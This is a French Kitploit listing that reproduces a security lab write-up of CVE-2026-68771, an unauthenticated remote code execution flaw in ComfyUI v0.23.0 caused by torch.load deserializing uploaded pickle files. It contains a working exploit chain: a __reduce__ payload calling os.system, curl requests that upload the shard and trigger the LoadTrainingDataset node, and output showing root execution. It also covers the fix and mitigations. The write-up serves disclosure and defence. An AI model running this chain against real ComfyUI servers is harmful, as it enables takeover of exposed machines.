Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
comfyui-CVE-2026-68771-PoC — Laboratoire de recherche en sécurité — RCE non authentifiée via désérialisation non sécurisée dans ComfyUI v0.23.0 (CVSS 9.8). Environnement Docker isolé, analyse technique et documentation. | Kitploit
Outils/GitHubGitHub/oscar-collado/comfyui-cve-2026-68771-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationSécurité de l'IA
GitHuboscar-collado/comfyui-cve-2026-68771-poc

comfyui-CVE-2026-68771-PoC

Laboratoire de recherche en sécurité — RCE non authentifiée via désérialisation non sécurisée dans ComfyUI v0.23.0 (CVSS 9.8). Environnement Docker isolé, analyse technique et documentation.

Voir le dépôt
il y a 9h 26mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-68771 — ComfyUI : RCE non authentifiée via désérialisation non sécurisée

À des fins éducatives uniquement. À n'utiliser que contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.


À propos de ComfyUI

ComfyUI est une interface graphique open-source basée sur des nœuds permettant d'exécuter localement des modèles de génération d'images et de vidéos par IA. Elle permet aux utilisateurs de construire des pipelines de génération complexes en connectant visuellement des nœuds — chaque nœud représentant une opération telle que le chargement d'un modèle, l'encodage de prompts textuels, l'échantillonnage ou le post-traitement d'images. Sa flexibilité et sa prise en charge d'un large éventail de modèles (Stable Diffusion, Flux, HunyuanVideo, et autres) en ont fait l'un des outils les plus largement adoptés dans la communauté de la génération par IA.

L'application expose une API HTTP locale sur le port 8188, par laquelle le frontend communique avec le backend pour téléverser des ressources et mettre en file d'attente les workflows de génération. Bien que conçue pour un usage local mono-utilisateur, il est courant de trouver des instances ComfyUI exposées sur des réseaux internes ou directement sur Internet — dans des environnements GPU cloud, des configurations de recherche partagées ou des studios créatifs auto-hébergés — souvent sans aucune couche d'authentification supplémentaire, correspondant exactement au modèle de menace visé par cette vulnérabilité.

Au moment de la divulgation, ComfyUI comptait plus de 65 000 étoiles sur GitHub et un écosystème actif de nœuds personnalisés et d'extensions, dont beaucoup introduisent une surface d'attaque supplémentaire au-delà de l'application principale.


Résumé exécutif

CVE-2026-68771 est une vulnérabilité de désérialisation non sécurisée (CWE-502) dans ComfyUI v0.23.0 qui permet à un attaquant distant non authentifié d'exécuter du code arbitraire sur le serveur. La chaîne d'attaque combine deux points de terminaison non authentifiés : POST /upload/image pour téléverser un fichier pickle malveillant, et POST /prompt pour déclencher sa désérialisation via le nœud LoadTrainingDataset.

ChampValeur
CVECVE-2026-68771
CVSS 3.19.8 (Critique)
VecteurAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-502 (Deserialization of Untrusted Data)
Version vulnérableComfyUI v0.23.0 (et antérieures sans le correctif)
Version corrigéeCommit 94ee49b1612824366a8631ea069b2a1fa5c73720
Publié31 juillet 2026

Environnement de laboratoire

  • Plateforme : Docker (hôte Kali Linux)
  • Image de base : python:3.11-slim
  • Version de ComfyUI : v0.23.0 (checkout git exact)
  • PyTorch : 2.5.1+cpu (version antérieure au changement de valeur par défaut de weights_only)
  • Isolation réseau : Port publié uniquement sur 127.0.0.1:8188, aucun accès réseau externe
  • Privilèges du processus : uid=0 (root)

Analyse technique

1. Absence d'authentification sur les points de terminaison de l'API

POST /upload/image — server.py, lignes 450-453 :

root@kitploit:~
@routes.post("/upload/image")
async def upload_image(request):
    post = await request.post()
    return image_upload(post)  # no session or token verification

POST /prompt — server.py, lignes 927-928 :

root@kitploit:~
@routes.post("/prompt")
async def post_prompt(request):
    logging.info("got prompt")
    json_data = await request.json()
    # no session or token verification
    ...
    self.prompt_queue.put((number, prompt_id, prompt, ...))

Aucun des deux points de terminaison n'implémente de contrôle d'accès. Tout client HTTP peut téléverser des fichiers et mettre en file d'attente des workflows sans authentification.


2. L'appel vulnérable — LoadTrainingDataset.execute()

comfy_extras/nodes_dataset.py, ligne 1568 :

root@kitploit:~
@classmethod
def execute(cls, folder_name):
    dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)

    shard_files = sorted([
        f for f in os.listdir(dataset_dir)
        if f.startswith("shard_") and f.endswith(".pkl")
    ])

    for shard_file in shard_files:
        shard_path = os.path.join(dataset_dir, shard_file)
        with open(shard_path, "rb") as f:
            shard_data = torch.load(f)  # ← VULNERABLE: weights_only not specified

torch.load() sans weights_only=True utilise le protocole pickle de Python pour désérialiser le fichier. Pickle n'est pas un format de données — c'est un protocole de sérialisation d'objets Python qui exécute la méthode __reduce__ de tout objet lors de la désérialisation, permettant l'exécution de code arbitraire.

Le nœud s'appuyait sur la valeur par défaut historique de PyTorch (weights_only=False), ce qui en faisait le seul appel torch.load de toute la base de code sans le paramètre explicite. Le reste de la base de code (comfy/utils.py, comfy/sd1_clip.py) le passait déjà correctement.


3. Flux d'attaque complet

root@kitploit:~
Attaquant (non authentifié)

[0] FABRICATION DU PICKLE MALVEILLANT
    └─ Sérialiser un objet Python avec __reduce__ retournant (os.system, ("cmd",))
    └─ Le format torch.save() de PyTorch l'encapsule dans un conteneur .pkl valide
    └─ Sortie : shard_0000.pkl — motif de nom de fichier valide attendu par LoadTrainingDataset
        │
        ▼
[1] POST /upload/image
    └─ Téléverser shard_0000.pkl (pickle avec __reduce__ malveillant)
    └─ Paramètres : type=output, subfolder=cve_test
    └─ Réponse : 200 OK {"name":"shard_0000.pkl", ...}
    └─ Le fichier atterrit à : /opt/comfyui/output/cve_test/shard_0000.pkl
        │
        ▼
[2] POST /prompt
    └─ Workflow JSON avec le nœud LoadTrainingDataset
    └─ folder_name : "cve_test" → pointe vers le dossier contenant le .pkl téléversé
    └─ Réponse : 200 OK {"prompt_id": "...", "node_errors": {}}
        │
        ▼
[3] LoadTrainingDataset.execute()
    └─ Localise shard_0000.pkl dans le répertoire
    └─ torch.load(f) → désérialise le pickle
    └─ __reduce__ exécute : os.system("id > /tmp/pwned.txt")
        │
        ▼
[4] RCE en tant que root
    └─ uid=0(root) gid=0(root) groups=0(root)

Preuves de concept (laboratoire)

Fabrication du pickle malveillant

La charge utile exploite le protocole pickle reduce de Python. Lorsque torch.load() désérialise le fichier, Python instancie l'objet en appelant le callable retourné par reduce, exécutant la commande contrôlée par l'attaquant avant que toute logique applicative ne s'exécute.

Le nom de fichier doit correspondre au motif shard_*.pkl — codé en dur dans LoadTrainingDataset.execute() comme filtre de découverte de fichiers :

root@kitploit:~
shard_files = sorted([
    f for f in os.listdir(dataset_dir)
    if f.startswith("shard_") and f.endswith(".pkl")
])

pickle_craft.py :

root@kitploit:~
class Exploit:
    def __reduce__(self):
        return (os.system, (args.cmd,))
root@kitploit:~
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"

Sortie :

root@kitploit:~
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image

Vecteur 1 — Téléversement de fichier non authentifié

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/upload/image \
  -F "image=@shard_0000.pkl;type=application/octet-stream" \
  -F "type=output" \
  -F "subfolder=cve_test"

Réponse :

root@kitploit:~
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}

HTTP 200 sans jeton, sans session, sans en-têtes spéciaux.


Vecteur 2 — Exécution de workflow non authentifiée

root@kitploit:~
curl -s -X POST http://127.0.0.1:8188/prompt \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": {
      "1": {
        "class_type": "LoadTrainingDataset",
        "inputs": { "folder_name": "cve_test" }
      },
      "2": {
        "class_type": "SaveTrainingDataset",
        "inputs": {
          "latents": ["1", 0],
          "conditioning": ["1", 1],
          "folder_name": "cve_test_out",
          "shard_size": 1000
        }
      }
    }
  }'

Réponse :

root@kitploit:~
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}

Résultat — RCE confirmée

root@kitploit:~
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)

Le correctif — Diff du commit 94ee49b

Fichier : comfy_extras/nodes_dataset.py
Auteur : Matt Miller
Date : 18 juin 2026
PR : #14543

root@kitploit:~
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)

Un seul paramètre. weights_only=True indique à PyTorch d'utiliser un désérialiseur restreint qui n'accepte que les tenseurs et les types primitifs Python, rejetant tout objet arbitraire avec __reduce__.

Le message de commit le résume clairement :

« LoadTrainingDataset était le seul appel torch.load de la base de code sans weights_only=True ; comfy/utils.py et comfy/sd1_clip.py le passent déjà. Les versions récentes de PyTorch utilisent weights_only=True par défaut, il s'agit donc d'une défense en profondeur pour les installations épinglées à des versions plus anciennes de PyTorch. »

Note sur la version de PyTorch : À partir de PyTorch 2.6, la valeur par défaut de weights_only est passée de False à True, ce qui atténue la vulnérabilité sur les installations PyTorch modernes même sans le correctif de code. La CVE affecte particulièrement les installations exécutant PyTorch < 2.6, ce qui était l'environnement de production typique lors de sa publication en juillet 2026.


Atténuations et recommandations

Correctif immédiat

Mettre à jour ComfyUI vers le commit 94ee49b ou ultérieur. Une ligne de code.

Défense en profondeur

1. Authentification sur les points de terminaison de l'API
ComfyUI est conçu pour un usage local. S'il est exposé sur un réseau, il doit être protégé par un reverse proxy (nginx/Caddy) avec authentification basique, ou en utilisant le flag --multi-user avec une gestion de session appropriée.

2. Ne jamais exposer ComfyUI directement sur Internet
La conception de l'application suppose un environnement local de confiance. Le score CVSS de 9.8 reflète l'absence totale de contrôles d'accès au niveau de la couche applicative.

3. Validation du type de fichier lors du téléversement
Le point de terminaison /upload/image accepte toute extension de fichier, y compris .pkl. Il devrait valider le content-type et l'extension par rapport à une liste blanche de formats d'image réels.


Points clés à retenir

  • Paramètre de sécurité manquant : Le bug n'était pas une faille algorithmique complexe — c'était l'absence d'un seul paramètre dans un appel de bibliothèque. L'incohérence au sein de la même base de code (les autres appels torch.load le possédaient déjà) suggère que ce nœud a été ajouté sans revue de sécurité.
  • Confiance implicite dans les valeurs par défaut des bibliothèques : Se reposer sur le comportement par défaut d'une bibliothèque est fragile. PyTorch a mis des années à changer la valeur par défaut de weights_only ; le code vulnérable a existé pendant toute cette période.
  • Surface d'attaque composée : Aucun des deux problèmes pris isolément (absence d'authentification + désérialisation non sécurisée) n'aurait obtenu un score CVSS de 9.8 dans un contexte typique d'usage local. C'est la combinaison des deux qui rend la vulnérabilité critique lorsque l'instance est exposée sur un réseau.

Analyse menée dans un environnement isolé à des fins éducatives. Laboratoire détruit après documentation.

Télécharger l’outil